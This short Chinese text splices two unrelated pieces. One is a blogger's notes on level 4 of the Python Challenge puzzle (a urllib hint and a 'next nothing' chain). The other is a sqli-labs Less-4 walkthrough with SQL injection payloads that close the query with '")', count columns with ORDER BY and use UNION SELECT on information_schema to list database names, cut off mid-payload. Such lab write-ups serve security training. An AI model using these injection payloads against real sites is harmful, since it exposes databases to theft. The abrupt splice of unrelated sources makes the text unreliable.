进入了第四关.只有一张图,我还是像往常一样查看源代码.果然,发现了一行注释:urllib may help. DON'T TRY ALL NOTHINGS, since it will never end. 400 times is more than enough. 看来这一关是和网络编程有关.只是没明白这个 NOTHINGS 是个什么东西.回到原页面,发现这张图是个链接,于是就点了进去,然后出现了只有一句话的页面: and the next nothing is 44827 查看了下源代码,
less4 第四关的sql语句是这样的: select * from user where id=("$id"); ?id=1")–+回显正常 order by 4报错,有3列 union select 判断有无显示位 爆数据库名和列名: ?id=-1") union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(ta